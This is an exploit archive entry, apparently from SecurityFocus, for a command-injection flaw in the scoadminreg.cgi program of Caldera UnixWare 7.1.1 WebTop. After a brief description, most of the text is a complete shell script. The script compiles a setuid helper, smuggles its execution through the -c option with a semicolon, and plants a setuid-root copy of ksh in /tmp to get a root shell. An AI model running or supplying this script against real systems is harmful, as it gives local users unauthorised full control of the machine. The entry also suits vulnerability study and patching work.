Caldera UnixWare 7.1.1 WebTop SCOAdminReg.CGI Arbitrary Command Execution Vulnerability

                                                source: http://www.securityfocus.com/bid/3936/info

UnixWare is a commercial Unix implementation distributed originally developed by SCO. It is now maintained and distributed by Caldera.

The scoadminreg.cgi program does not properly validate user input when executed with the -c option. Because of this, a user may load an arbitrary program with the -c flag. When this program is executed, the file loaded with the -c flag will be executed with administrative privileges. 

#!/bin/sh

## [email protected]

CC="gcc"
SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
bin/admin/scoadminreg.cgi

#
#
#
#

echo
echo "jGgM root exploit"
echo "http://www.netemperor.com/"
echo
echo "Mail: [email protected]"
echo

if [ ! -x $SCOADMIN ]; then
   echo "$SCOADMIN file not found"
   exit 2;
fi

cat >/tmp/jggm.c <<_EOF

main()
{
   setuid(0);
   setgid(0);
   chown("/tmp/jGgM_Shell", 0, 0);
   chmod("/tmp/jGgM_Shell", 04755);
}
_EOF

cp /bin/ksh /tmp/jGgM_Shell
$CC -o /tmp/jggm /tmp/jggm.c

$SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

rm -rf /tmp/jggm /tmp/jggm.c

/tmp/jGgM_Shell

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